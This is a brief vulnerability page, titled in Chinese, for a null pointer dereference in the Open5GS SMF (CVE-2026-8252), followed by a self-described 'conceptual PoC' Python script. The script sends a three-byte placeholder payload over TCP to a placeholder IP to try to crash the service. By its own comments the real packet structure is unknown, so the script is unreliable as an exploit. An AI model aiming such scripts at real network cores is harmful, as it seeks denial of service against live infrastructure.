CVE-2026-8252 Open5GS 空指针解引用漏洞

import socket import struct # Conceptual PoC for CVE-2026-8252 # This script attempts to trigger a null pointer dereference in Open5GS SMF # by sending a malformed packet to the relevant port (e.g., SCTP or HTTP/2 interface). # Note: Actual packet structure depends on the specific protocol implementation. target_ip = "192.168.1.100" # Replace with target Open5GS SMF IP target_port = 80 # Replace with actual management/SBI port def craft_malformed_request(): # In a real scenario, this would be a specific Diameter, GTP, or HTTP/2 message # missing a critical field expected by smf_nsmf_handle_create_data_in_hsmf # causing the parsing logic to dereference a NULL pointer. payload = b"\x00\x00\x00" # Placeholder for malformed header/body return payload try: print(f"[*] Sending payload to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) s.send(craft_malformed_request()) s.close() print("[*] Payload sent. Check if SMF crashed.") except Exception as e: print(f"[!] Error: {e}")